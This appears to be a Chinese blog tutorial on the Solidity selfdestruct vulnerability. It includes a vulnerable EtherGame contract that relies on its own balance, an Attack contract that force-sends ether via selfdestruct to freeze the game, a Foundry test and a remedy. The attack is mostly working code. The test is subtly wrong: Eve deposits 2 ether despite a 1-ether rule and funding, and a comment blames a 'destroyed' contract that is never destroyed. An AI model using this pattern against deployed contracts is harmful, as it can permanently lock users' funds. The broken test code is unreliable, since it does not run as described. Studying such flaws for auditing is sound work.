Solidity&Foundry 安全审计测试 自毁漏洞

名称:自毁漏洞

solidityproject/vulnerable-defi at master · XuHugo/solidityproject · GitHub

描述:

自毁漏洞是智能合约代码中的一个漏洞,允许攻击者通过攻击合约自毁来破坏其他的合约。实例中,漏洞产生的原因是攻击合约中的 dos 函数在收到大量eth后,执行自毁操作。自毁后,eth转入EtherGame 合约,导致EtherGame 合约的功能将永久失效,任何人都无法存入或领取奖励。

测试:

1. 部署对 EtherGame 合约

2. 玩家(如 Alice 和 Bob)决定参与游戏,每人存入 1 个eth。

3. 使用EtherGame 的地址部署攻击合约

4. 调用 Attack.dos 发送 5 个以太币。这样游戏就结束了,没有人能成为赢家。

发生了什么?

攻击迫使 EtherGame 的余额等于 7 个eth。

需要注意的是攻击者的5个eth不是调用deposit函数存入的,所以winner并没有被设置。

现在,没有人可以存款,也无法设定胜负。

selfdestruct(address)函数会删除合约地址中的所有字节码,并将所有以太币存储到指定地址。

所以关键的原因是selfdestruct函数,它可以强制的存入eth。

那么balance是不是就会有不可控的因素在里边,审计的时候,需要根据实际情况进行判断。

补救措施:

不要依赖 this.balance 来跟踪存入的eth,而是使用一个状态变量来跟踪存入的总金额。

EtherGame合约

contract EtherGame {
    uint public constant targetAmount = 7 ether;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance; // vulnerable
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

Attack合约 

contract Attack {
    EtherGame etherGame;

    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }

    function dos() public payable {
        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

Foundry测试合约


contract ContractTest is Test {
    EtherGame EtherGameContract;
    Attack AttackerContract;
    address alice;
    address eve;

    function setUp() public {
        EtherGameContract = new EtherGame();
        alice = vm.addr(1);
        eve = vm.addr(2);
        vm.deal(address(alice), 1 ether);
        vm.deal(address(eve), 1 ether);
    }

    function testSelfdestruct() public {
        console.log("Alice balance", alice.balance);
        console.log("Eve balance", eve.balance);

        console.log("Alice deposit 1 Ether...");
        vm.prank(alice);
        EtherGameContract.deposit{value: 1 ether}();

        console.log("Eve deposit 1 Ether...");
        vm.prank(eve);
        EtherGameContract.deposit{value: 2 ether}();

        console.log(
            "Balance of EtherGameContract",
            address(EtherGameContract).balance
        );

        console.log("Attack...");
        AttackerContract = new Attack(EtherGameContract);
        AttackerContract.dos{value: 5 ether}();

        console.log(
            "Balance of EtherGameContract",
            address(EtherGameContract).balance
        );
        console.log("Exploit completed, Game is over");
        EtherGameContract.deposit{value: 1 ether}(); // This call will fail due to contract destroyed.
    }
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

0xweb3q

有钱的捧个钱场,没钱的捧个人场

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值